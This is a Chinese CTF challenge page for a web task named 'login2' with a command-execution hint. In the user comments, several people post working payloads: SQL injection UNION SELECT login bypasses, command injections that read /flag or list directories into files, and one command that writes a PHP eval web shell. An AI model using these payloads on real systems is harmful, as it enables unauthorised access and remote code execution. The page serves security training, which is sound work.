login2WEB 未解决

分数: 40 金币: 6
题目作者: 未知
一  血: ShawRoot
一血奖励: 5金币
解  决: 3173
提  示: 命令执行
描  述:
login2
评论
六分之杰 1年前

https://zhuanlan.zhihu.com/p/7343164566

回复 0

D调丶Slayer 1年前

https://blog.csdn.net/weixin_58111246/article/details/123482301?spm=1001.2014.3001.5501

回复 0

19957910119 1年前

1&&echo '<?php @eval($_POST['shell']);phpinfo();?>'>test.php

回复 0

ctfer-pls 1年前

看了评论厉害了

回复 0

ilovevicky99 1年前

用反弹shell的方法,为什么没有回显呀

回复 0

zhuizhui 1年前

' UNION SELECT 'admin' , '99754106633f94d350db34d548d6091a' FROM DUAL;#-- 123;cat /flag > test

回复 1

xxsko 1年前

学会了一个英语单词tip提示

回复 2
zpxlz 1年前

那很会学习了

回复 1

DoubleUUU 1年前

一顿sqlmap半小时,deepseek秒给payload:username = ' UNION SELECT "admin","202cb962ac59075b964b07152d234b70" -- &password = 123

回复 1

liuguowang75 1年前

登陆后,在检验窗口中输入:123 | ls / > a.txt ,可以看到用户目录中所有文件,

回复 0

sunset2004 1年前

username=admin' union select 1,md5(123)#&password=123,union生成临时表将md5后的123到表里,然后密码输入123即可绕过。RCE直接通过重定向符号即可,将无回显的结果保存到a.txt里即可,123 | cat ../../../../flag > a.txt

回复 3

WriteUp

image
harry

6 金币

评分(14)

解题动态

noob11 攻破了该题 23小时前
jiuxian112 攻破了该题 1天前
liweiyi 攻破了该题 1天前
lin 攻破了该题 1天前
hhHHHH6_ 攻破了该题 2天前
qi1102 攻破了该题 2天前
hshs 攻破了该题 3天前
Alter 攻破了该题 3天前
shitlife 攻破了该题 3天前
moque 攻破了该题 3天前
南汐 攻破了该题 3天前
CCC1112 攻破了该题 3天前
liwssy 攻破了该题 3天前
xhs 攻破了该题 4天前
mrg 攻破了该题 5天前
suhannn 攻破了该题 5天前
KN11 攻破了该题 5天前
xiaoqixy1 攻破了该题 5天前
adminadmin123456 攻破了该题 5天前
花开花落 攻破了该题 6天前
问题反馈